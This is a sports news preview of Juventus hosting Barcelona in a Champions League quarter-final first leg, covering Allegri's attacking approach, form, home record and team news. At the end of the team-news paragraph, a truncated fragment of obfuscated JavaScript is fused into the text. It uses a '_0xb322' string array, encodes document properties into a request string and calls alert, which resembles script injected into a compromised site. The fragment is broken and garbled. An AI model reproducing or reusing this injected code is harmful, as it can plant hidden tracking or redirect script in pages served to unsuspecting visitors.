On Tuesday evening, Juventus will host Barcelona in the first leg of their UEFA Champions League quarterfinal tie.

Juventus coach Massimiliano Allegri promised to throw caution to the wind against Barcelona in Tuesday’s Champions League quarter-final, saying it was impossible to keep a clean sheet against the Spanish side’s attack.

Instead, Allegri said on Monday, he would throw on all his best attacking players in an attempt to outscore his opponents in the first leg at the Juventus stadium.

The Italian champions head into Tuesday’s first leg at Juventus Stadium boasting a six-point lead at the top of Serie A and having last week reached the final of the Coppa Italia after beating Napoli 5-4 on aggregate.

Barcelona , meanwhile are coming into the game on a bad note after their bid to retain their La Liga title suffered a setback on Saturday. They lost 2-0 at Malaga and could not capitalize on Real Madrid’s dropped points in the Madrid Derby that ended 1-1.

Juve, who lost 3-1 to Barca in the 2015 Champions League final, are unbeaten in 21 European games at the Juventus Stadium and have won 32 successive league matches in front of their own fans – keeping 21 clean sheets in the process.

However, Massimiliano Allegri’s side will be more than aware that even a big win on Tuesday night might not be enough to secure a semi-final spot, evidenced by Barca’s stunning performance in the previous round.

On that occasion Barca recorded one of the greatest comebacks in football history when they overturned a 4-0 first-leg deficit against Paris St Germain to progress to the last eight 6-5 on aggregate.

Team News

Juventus will be without winger Marko Pjaca as he will miss the rest of the season after suffering knee ligament damage while on Croatia duty.

Barca, meanwhile, are missing midfield lynchpin Sergio Busquets through suspension while Arda Turan, Aleix Vidal and Rafinha are all out injured. 2[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Share.

Computer engineer bit by the sports bug.

Leave A Reply